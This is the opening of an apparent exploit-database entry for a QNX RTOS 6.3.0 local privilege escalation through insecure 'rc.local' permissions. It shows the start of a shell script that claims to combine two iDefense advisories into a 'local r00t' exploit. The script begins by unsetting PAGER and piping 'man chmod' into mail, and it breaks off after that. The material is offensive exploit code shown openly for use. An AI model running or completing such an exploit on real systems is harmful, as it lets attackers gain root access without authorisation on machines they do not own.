QNX RTOS 6.3.0 - Insecure 'rc.local' Permissions System Crash / Privilege Escalation

!/bin/sh this combines http://www.idefense.com/intelligence/vulnerabilities/display.php?id=387 and http://www.idefense.com/intelligence/vulnerabilities/display.php?id=386 into local r00t w00t t00t t00t, hugs and kisses from www.lort.dk. unset PAGER; man chmod | mail -s "urgent reading"...